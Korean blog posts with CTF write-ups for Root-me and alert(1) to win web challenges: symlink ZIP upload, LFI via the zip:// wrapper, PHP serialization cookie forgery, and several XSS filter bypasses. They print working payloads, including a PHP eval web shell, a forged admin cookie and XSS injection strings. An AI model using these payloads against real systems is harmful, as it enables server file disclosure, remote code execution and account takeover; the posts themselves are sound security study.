File upload - ZIP

 

 

 

index.php 파일을 읽으면 된다.

 

 

 

 

문제 화면으로 들어가면 파일을 선택하여 업로드할 수 있는 기능이 있다.

 

 

 

 

 


문제풀이

 

 

 

 

업로드 기능을 이용하여 .php파일을 압축한 .zip 파일을 업로드해보면

 

 

 

 

 

 

 

다음과 같이 파일의 압축을 풀 수 있도록 해준다.

File unzipped here을 눌러보면

 

 

 

 

 

 

 

 

다음과 같은 페이지로 이동하며

/tmp/upload 디렉토리에 해쉬값으로 변경되어 저장됨을 알수있고

압축했던 test.php을 열려고 하면

 

 

 

 

 

다음과 같이 접근이 제한됨을 알 수 있다.

 

 

내가 올린 파일로 공격은 할 수 없을 것 같다.

index.php에 직접적으로 접근해야 할 방법을 찾다보니

symbolic link를 이용하여 공격하는 방법을 찾게되었다.

 

 

 

 

 

파일을 업로드하면 /tmp/upload/해쉬된 디렉토리에 파일이 생성되기에

index.php가 있을 것이라고 생각되는 /ch51 디렉토리에 있는 index.php를 가리키는 symbolic link를 생성해준다.

 

 

 

 

이후 이 파일을 zip을 해준다.

(symbolic link는 zip할 때 --symlink 옵션을 주지 않으면 일반 파일,디렉토리로 인식하여 압축하게 된다.)

 

 

 

 

 

그리고 위의 a.zip 파일을 업로드해주게되면

a.zip이 공격하는 사이트의 내부에서 unzip되기 때문에 ../의 절대경로가 서버쪽의 디렉토리를 가리키게 되어 우리가 원하는 index.php를 얻을 수 있을 것이다. (내 생각)

 

 

 

 

 

 

 

 

 

../../../index.php를 가리키는 link가 있고 이를 누르게 되면

index.php를 보여주고 안에 있는 flag를 통해 문제를 풀 수 있다.

 

 


 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Command injection - Filter bypass  (0) 2019.12.07
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07

Local File Inclusion - Wrappers

 

 

 

 

 

flag를 찾으면 되는 문제이다.

 

 

 

 

 

문제 화면으로 들어가면 파일을 선택하여 업로드할 수 있는 기능이 있다.

 

 

 

 


문제풀이

 

 

 

 

업로드 기능을 이용하여 .php 파일을 업로드해보면

 

 

 

 

다음과 같이 JPG파일만 업로드 할 수 있다는 결과와 page파라미터를 볼 수 있다.

 

페이지에 index우리가 처음 보았던 페이지로 이동한다.

../는 필터링 되어있으며 .와 /는 개별적으로 필터링 되어있지않다.

 

.만 입력하였을 때

 

 

 

우리가 입력한 값 뒤에 .php가 붙어서 파일을 여는 것을 알 수있다.

 

 

 

문제의 제목을 보면 Wrappers를 이용하여 문제를 해결해야함을 알 수 있다.

이전에 풀었던 LFI문제와 같이 php://를 사용하여 풀려고 하면 php는 필터링이 걸려 사용할 수 없고

system command를 실행 할 수 있는 expect://

 

 

 

 

다음과 같이 지원하지 않음을 알 수 있다.

 

 

File upload를 할 수 있는점을 이용할 수 있는 zip:// 을 이용하여 문제를 풀 수 있다고 생각했다.

zip:// 필터는 업로드된 .zip 파일을 서버측에서 저장된 파일을 압축 해제하여 압축을 푼 파일안에 있는 파일을 실행 시켜준다.

 

하지만 zip파일을 바로 업로드 할 수 는 없기 때문에 압축한 파일의 확장자를 .jpg로 바꾸어준다.

 

 

 

 

파일을 업로드하고 확인해보면 tmp/upload 위치에 파일명이 바뀐 채로 저장되어 있음을 알 수 있다.

zip://zip파일이름#풀렸을 때 파일 이름  -> #은 url encoding 하여 %23

 

 

Input : page = zip://tmp/upload/(이미지파일)%23(읽을 파일)

파일명이 한 글자를 넘어가면 page name too long이 나온다.

 

 

 

 

본인은 다음과 같이 scandir을 이용하여 해당 디렉토리에 있는 파일들을 알기 위해서 사용하였다.

이 .php파일을 실행시킨 결과는

 

 

 

 

다음과 같이 flag가 들어있는 php파일을 얻을 수 있으며 해당 파일을 읽을 수 있게 php파일을 수정해주면 flag를 얻을 수 있다.


<?php eval($_GET['cmd']); ?>

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01

JSON 3

 

 

문제


 

 

 

 

 

문제해석

 


 

 

 

</를 입력하면 <\/로 치환되며 이전의 JSON 문제들과 같이 ", \ 와 같은 문자들 앞에 백슬래쉬가 붙는다.

 

 

 

 

 

 

 

console.log("입력한 문자열")이 들어가게 되며

#을 기준으로 같은 스크립트가 하나 추가되게 된다.

 

 

 

풀이


 

 

HTML파서는 문자들을 읽으면서 어떠한 상태에 있는지 파악한다.

 

 

일반적으로 읽는 문자들은 Data state상태로 인식하게 되며

<script>와 같은 문자를 읽게 되었을 때 script data state로 파서의 상태가 바뀌게 되어 자바스크립트를 읽을 수 있게 된다.

https://www.w3.org/TR/html50/syntax.html

 

 

위의 페이지에서 <script>태그에서 하나하나씩 따라가다보면 script data double escaped state란 것을 볼 수 있다.

 

 

 

Data state에서의 상태 변화

 

 

data state + <script>    ->   Script data state

Script data state + <!--    ->    Script data escaped state

Script data escaped state + <script>  ->   Script data double escaped state

 

 

Script data double escaped state 상태 일때

- </script>   ->   script data escaped state

- -->   ->   script data state

 

 

Script data escaped state 상태 일때

- </script>   ->   data state

- -->   ->   script data state

 

 

 

 

Script data state, Script data escaped state, Script data double escaped state 는 모두 자바스크립트로 문자를 해석하게 된다.

 

 


 

이를 이용해서 문제를 해결하게 되면

 

 

 

 

 

Input에 <!--<script>를 입력하여 script data double escaped 상태에로 바꾼 후 원래 있던 </script>를 만나

Script escaped state 상태로 변하게 된다.

다시말해서 </script>로 닫혔음에도 불구하고 아직 뒤에 오는 문자열이 자바스크립트로 해석되는 것을 의미한다.

 

 

 

 

 

 

#을 입력하여 뒤에 <script>가 추가되어 다시 Script data double escaped state 상태가 되며 원하는 값을 입력 할 수 있게된다. 

 

 

 

#뒤에 input으로 

<script>console.log("<!--<script>")</script><script>console.log("    입력될 문자열 에서

 

빨간색 부분은 console.log로 출력

<는 비교연산자의 역할

보라색부분은 정규표현식으로 입력할 문자열에서 마무리 지어 주면서 alert를 추가하면된다.

 

 

Input : <!--<script>#)/+alert(1)//-->

 


그냥생각

 

HTML파서로서 읽는 것

js파서로서 읽는 것을 이해하는게 아직은 힘든 것 같다.

-->앞에 왜 //를 붙여야하지..

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - Skandia  (0) 2019.11.11
alert(1) to win - callback2  (0) 2019.11.10
alert(1) to win - JSON2  (0) 2019.11.10
alert(1) to win - markdown  (0) 2019.11.10
alert(1) to win - 1  (0) 2019.11.10

PHP - Serialization

 

 

 

 

 

 

adminstrator 계정으로 로그인하면 되는 문제이다.

 

 

 

 

 

 

일반적인 로그인 창으로 자동로그인 기능이 있다.

 

 

 

 


문제해석

 

 

 

 

 

 

 

 

소스를 보면 중요한 부분은 문제 제목과 같은 unserializeserialize가 있는 부분이다.

 

 

일반적으로 로그인을 하게 되면 $data에 값이 저장되며,

autologin 쿠키값이 있을 때는 $data에 unserialize된 값이 들어가게 된다.

 

 

로그인이 성공하고 autologin이 1이 때 쿠키에 serialize된 값이 저장되며 위의 autologin 체크할 때 쓰이게 된다.

 

 

 

 

Login에 superadmin으로 로그인하면 될 것이다.

 

 

 

 


문제풀이

 

 

 

 

문제에서 주어진 guest로 autologin을 체크하고 로그인하게 되면 다음과 같이 표시되며

 

 

 

 

 

Cookie에 serialize된 autologin의 값이  url encoding된 형태로 표시되게 된다.

그리고 url decode를 해보면

 

 

autologin=

a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";};

serialize된 값을 볼 수 있고

login : guest

password : sha256된 값   으로 되어있는 것을 볼 수 있다.

s는 string /  5는 글자수 / ;로 value를 구분

 

 

 

 

 

 

 

 

 

이를 이용하여 우리가 원하는 superadmin으로 쿠키에 전달 할 값을 작성하려면

 

 

1. login 부분을 superadmin으로 설정

 

 

  a:2:{s:5:"login";s:10:"superadmin";                        }

 

 

 

2. password 값  설정

 

 이후 문제는 password에 전달 되는 값이다.

 

 

 

 

 

 위의 코드를 보면 우리가 입력한 password와 비교되는 저장된 값이 느슨한 비교(loose comparison)로 되어있음을 알   수 있다.

 이를 이용하면 true와 "string"을 비교했을 때 true로 인식되어 우회 할 수 있다.

 

 

 

 php serialize에서 boolean값은 b가 boolean을 나타내며 true나 false가아닌 1과 0으로 인식한다.

php 메뉴얼 : https://www.php.net/manual/en/function.serialize.php

 

 

 autologin에 전달할 값을 이어서 작성하면

 

 

 

 a:2:{s:5:"login";s:10:"superadmin"s:8:"password";b:1;} 가 된다.

 

 

 

 

 

이 값을 url decoding해서 Cookie의 autologin값에 전달하게 되면

 

 

 

CLEAR 할 수 있다.

 

 

 


 

 

구글링하면서 공부한 serialzie 취약점 문제와 이 문제는 조금차이가 있는 것 같다. 이전의 있던 type juggling를 이용하고, serialize된 글자를 해석만 하면? 풀 수 있게되는 문제같다.

 

 

생성자와 magic method를 이용한 문제들을 찾아서 풀어봐야 serialize에 대해 더 잘 이해할 수 있을 것 같다.

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27

Skandia

 

 

문제


 

 

 

 

 

 

문제해석


 

 

 

문자를 입력하면 대문자로 치환된다.

 

 

 

 

풀이


 

 

 

HTML entity를 이용하여 해결하였다. 

HTML entity : HTML 문서를 코딩할 때 태그와 혼용되는 것을 막기 위해 브라우저 상에 예약된 문자

 

HTML entity는 JavaScript를 해석하기전에 미리 해석되기 때문에 script가 해석 될 때에 alert(1)로 인식하여 문제가 풀린다.

 

 

 

#뒤에 x를 통해 16진수로 사용가능하다

 

 

Input :</script><iframe/onload=&#x61&#x6C&#x65&#x72&#x74(1)//

 

 

 

 


처음 시도했던 것

 

 

 

원래 문제 풀때에 처음 시도했던 방법이다.

 

 

 

Input : "+'\141\154\145\162\164\50\61\51'+"

 

 

Warmup때 썻던 방법을 응용하여 공격할 수 있을 줄 알았는데 Javascript 단에서 해석이 되기때문에 alert()로서의 기능은 수행되지 않고 문자열로서만 변환이 되어 공격이 안된 것 같다.

 

 

 


다른 풀이

 

 

 

url encoding 을 이용하는 방법

data:, 뒤에 url 인코딩하여 사용할 수 있는 방법으로 해결하였다.

 

Input : </script><script src=data:,%61%6C%65%72%74(1)>

 

 

 

 


이외에

 

 

 

저번에도 사용했던 \u0061 js에서 해석되는 문법

 

 

svg일때 크롬 오류로 html entitiy를 해석하는 것

<svg><script>alert&#28;1)</script>

 

태그에도 우선순위가 있음!
<title><a href="</title><svg/onerror=alert(1)>

 

를 알게 되었땅

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - JSON3  (0) 2019.11.26
alert(1) to win - callback2  (0) 2019.11.10
alert(1) to win - JSON2  (0) 2019.11.10
alert(1) to win - markdown  (0) 2019.11.10
alert(1) to win - 1  (0) 2019.11.10

callback2

 

 

문제


 

 

 

 

문제해석


 

 

기본적으로 callback과 같으며 대신에 ", \, / 와 같은 필터링이 생겼다.

 

 

 

풀이


 

필터링이 생겨 기존에 사용하던 //를 못사용하고

다른 주석을 이용하여 풀면된다.

 

Input : '#';alert(1)<!--

 

 

 

 

 


javascript의 주석

 

//     <!-- 이외에

(개행문자)--> 도 있다. 

 

위의 문제에서 엔터를 -->전에 누르면 \n으로 필티링(되어서 나오는데) 개발자 도구의 콘솔창을 이용하여

copy('\u2028')  또는 2029를 한 후 -->전에 붙여넣기를 하면 된다!?

 

 

 

(js가 정착되지 않은 시절 js로 개발된 것이 정착되고 난  후

<script>

<!--

 

-->

</script>

다음과 같이 짜여진 코드들이 정상 작동하도록 각각이 한줄 주석으로 처리되게 했다고 한다.

)

'Web hacking > alert(1) to win' 카테고리의 다른 글

alert(1) to win - JSON3  (0) 2019.11.26
alert(1) to win - Skandia  (0) 2019.11.11
alert(1) to win - JSON2  (0) 2019.11.10
alert(1) to win - markdown  (0) 2019.11.10
alert(1) to win - 1  (0) 2019.11.10

+ Recent posts